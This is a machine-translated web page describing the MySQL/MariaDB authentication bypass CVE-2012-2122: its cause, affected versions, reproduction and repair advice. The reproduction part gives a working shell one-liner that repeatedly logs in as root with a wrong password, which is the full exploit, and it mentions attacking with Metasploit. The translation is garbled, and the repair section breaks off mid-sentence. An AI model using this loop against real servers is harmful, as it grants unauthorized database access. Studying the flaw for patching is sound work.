当前位置:网站首页>MySQL authentication bypass vulnerability (cve-2012-2122)
MySQL authentication bypass vulnerability (cve-2012-2122)
2022-07-06 22:39:00 【OOOOOK. two thousand and twenty-one】
Vulnerability profile
When the connection MariaDB/MySQL when , The password entered will be compared with the expected correct password , Due to improper handling , Can lead to even memcmp () Returns a nonzero value , Also can make MySQL Think two passwords are the same . That is to say, as long as you know the user name , Try again and again to log in directly SQL database .
Affected version
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL
- versions from 5.1.63, 5.5.24, 5.6.6 are not.
Reasons for appearance
This vulnerability is due to memcmp Function only returns -128 To 127 Values in range , Optimized on some platforms , Cause even memcmp() Returns a nonzero value , Also can make MySQL Think two passwords are the same . about 256 You can succeed once .
Loophole recurrence
Scan open ports
use MSF attack
EXP
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
Repair
upgrade MySQL edition ,( Those lower than the following versions must be upgraded to the latest version :5.0 Version below 5.0.96;5.1 Version below 5.1.63;5.5 Version below 5.5.25) stop it mysql, Back up the entire mysql, The installation directory ,data Catalog ( This step is only to prevent escalation
边栏推荐
- 【编译原理】做了一半的LR(0)分析器
- General implementation and encapsulation of go diversified timing tasks
- 剪映+json解析将视频中的声音转换成文本
- extern关键字
- Extern keyword
- Plafond du tutoriel MySQL, bien collecté, regardez lentement
- QT信号和槽
- 2022-07-05 use TPCC to conduct sub query test on stonedb
- Installation and use of labelimg
- Advantages of link local address in IPv6
猜你喜欢
Export MySQL table data in pure mode
基於 QEMUv8 搭建 OP-TEE 開發環境
Leetcode exercise - Sword finger offer 26 Substructure of tree
树的先序中序后序遍历
C# 三种方式实现Socket数据接收
(18) LCD1602 experiment
Build op-tee development environment based on qemuv8
自制J-Flash烧录工具——Qt调用jlinkARM.dll方式
Aardio - 封装库时批量处理属性与回调函数的方法
软考高级(信息系统项目管理师)高频考点:项目质量管理
随机推荐
Signed and unsigned keywords
three. JS gorgeous bubble effect
Build op-tee development environment based on qemuv8
变量与“零值”的比较
rust知识思维导图xmind
OpenCV VideoCapture. Get() parameter details
Export MySQL table data in pure mode
(十八)LCD1602实验
MySQL----初识MySQL
枚举与#define 宏的区别
Puppeteer连接已有Chrome浏览器
软考高级(信息系统项目管理师)高频考点:项目质量管理
UVa 11732 – strcmp() Anyone?
金融人士必读书籍系列之六:权益投资(基于cfa考试内容大纲和框架)
OpenSSL:适用TLS与SSL协议的全功能工具包,通用加密库
Comparison between variable and "zero value"
SQL server generates auto increment sequence number
What are the interface tests? What are the general test points?
MySQL教程的天花板,收藏好,慢慢看
config:invalid signature 解决办法和问题排查详解